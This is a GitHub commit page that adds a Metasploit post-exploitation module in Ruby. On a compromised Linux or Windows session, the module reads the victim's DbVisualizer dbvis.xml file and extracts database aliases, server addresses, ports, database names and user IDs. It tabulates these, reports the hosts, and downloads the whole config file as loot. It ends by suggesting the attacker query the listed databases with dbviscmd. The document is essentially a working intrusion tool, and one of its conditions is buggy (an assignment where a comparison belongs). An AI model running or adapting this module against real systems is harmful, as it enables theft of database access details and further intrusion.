Skip to content

Commit 72d9587

Browse files
committed
DbVisualizer stores the user database configuration in dbvis.xml
This module retrieves the connections settings from this file
1 parent 667b136 commit 72d9587

File tree

1 file changed

+161
-0
lines changed

1 file changed

+161
-0
lines changed
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/auxiliary/report'
8+
require "resolv"
9+
10+
class Metasploit3 < Msf::Post
11+
12+
include Msf::Post::File
13+
include Msf::Post::Unix
14+
include Msf::Auxiliary::Report
15+
16+
def initialize(info={})
17+
super( update_info( info,
18+
'Name' => 'Dbvis Connections settings',
19+
'Description' => %q{
20+
DbVisualizer stores the user database configuration in dbvis.xml.
21+
This module retrieves the connections settings from this file.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'David Bloom <@philophobia78>' ],
25+
'Platform' => %w{ linux win },
26+
'SessionTypes' => [ 'meterpreter', 'shell']
27+
))
28+
end
29+
30+
def run
31+
32+
db_table = Rex::Ui::Text::Table.new(
33+
'Header' => "Dbvis available databases",
34+
'Indent' => 2,
35+
'Columns' =>
36+
[
37+
"Alias",
38+
"Type",
39+
"Server",
40+
"Port",
41+
"Database",
42+
"Namespace",
43+
"Userid",
44+
])
45+
46+
47+
dbs = []
48+
49+
case session.platform
50+
when /linux/
51+
user = session.shell_command("whoami").chomp
52+
print_status("Current user is #{user}")
53+
if (user =~ /root/)
54+
user_base="/root/"
55+
else
56+
user_base="/home/#{user}/"
57+
end
58+
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
59+
when /win/
60+
if session.type =~ /meterpreter/
61+
user_profile = session.sys.config.getenv('USERPROFILE')
62+
else
63+
user_profile = cmd_exec("echo %USERPROFILE%").strip
64+
end
65+
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
66+
end
67+
68+
db = {}
69+
print_status("Reading: #{dbvis_file}")
70+
dbfound=false
71+
# read config file
72+
read_file(dbvis_file).each_line do |line|
73+
if (line =~ /<Database id=/)
74+
dbfound=true
75+
else if (line =~ /<\/Database>/)
76+
dbfound=false
77+
if db[:Database].nil?
78+
db[:Database]="";
79+
end
80+
if db[:Namespace].nil?
81+
db[:Namespace]="";
82+
end
83+
# save
84+
dbs << db if (db[:Alias] and db[:Type] and db[:Server] and db[:Port] )
85+
db = {}
86+
end
87+
if (dbfound=true)
88+
# get the alias
89+
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
90+
db[:Alias] = $1
91+
end
92+
93+
# get the type
94+
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
95+
db[:Type] = $1
96+
end
97+
# get the user
98+
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
99+
db[:Userid] = $1
100+
end
101+
102+
# get the server
103+
if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i)
104+
db[:Server] = $1
105+
end
106+
107+
# get the port
108+
if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i)
109+
db[:Port] = $1
110+
end
111+
112+
# get the database
113+
if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i)
114+
db[:Database] = $1
115+
end
116+
117+
# get the Namespace
118+
if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i)
119+
db[:Namespace] = $1
120+
end
121+
end
122+
end
123+
end
124+
125+
# print out
126+
dbs.each do |db|
127+
if (!!(db[:Server] =~ Resolv::IPv4::Regex))
128+
print_good("Reporting #{db[:Server]} ")
129+
report_host(:host => db[:Server]);
130+
end
131+
db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]]
132+
end
133+
134+
if db_table.rows.empty?
135+
print_status("No database settings found")
136+
else
137+
print_line("\n" + db_table.to_s)
138+
139+
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
140+
print_good("")
141+
# store found databases
142+
p = store_loot(
143+
"dbvis.databases",
144+
"text/csv",
145+
session,
146+
db_table.to_csv,
147+
"dbvis_databases.txt",
148+
"dbvis databases")
149+
150+
print_good("Databases settings stored in: #{p.to_s}")
151+
152+
end
153+
print_status("Downloading #{dbvis_file}")
154+
p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config")
155+
print_good "dbvis.xml saved to #{p.to_s}"
156+
157+
rescue ::Exception => e
158+
print_error("Couldn't read #{dbvis_file}: #{e.to_s}")
159+
end
160+
161+
end

0 commit comments

Comments
 (0)